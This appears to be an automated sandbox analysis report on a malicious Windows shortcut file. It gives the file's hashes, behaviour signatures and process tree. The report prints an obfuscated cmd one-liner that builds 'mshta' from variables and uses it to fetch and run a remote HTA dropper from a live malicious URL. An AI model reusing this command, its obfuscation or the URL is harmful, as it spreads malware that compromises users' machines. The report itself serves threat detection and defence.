Analysis
- max time kernel
60s - max time network
61s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/08/2026, 08:01
Static task
static1
Behavioral task
behavioral1
Sample
DOC-WAFQ6L.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-WAFQ6L.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
60 seconds
General
- Target DOC-WAFQ6L.lnk
- Size 1KB
- Sample260817-jwvb1swdqa
- SHA256 63f92a62e4a17eb3f3bde5cff5f6161c35e7b46f1a8078eee3c838e607595334
- MD5 97c72ae09779972975707061d417e0ce
- SHA1 e5d15668c33d998218fb9cf5ab3c298348cadc63
- SHA512 5fd472b95ed6a2e1ad19148f160883d11671be0a2c53ecec063efee13e25bd61c89ef51d8ed1340b4ffa75564f893242ceddb7ad3a1c24a7eedafcd9a2e7b21b
- TLSH T1833147503FED0624F3B38E76A9BB672489BAB95A8D20CB2E0141454C5022E15E57BFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2816 cmd.exe 4452 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2816 wrote to memory of 4452 2816 cmd.exe 90 PID 4452 wrote to memory of 5664 4452 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WAFQ6L.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2816 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set lw=msh&&set cD=ta&&start "" !lw!!cD! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5664
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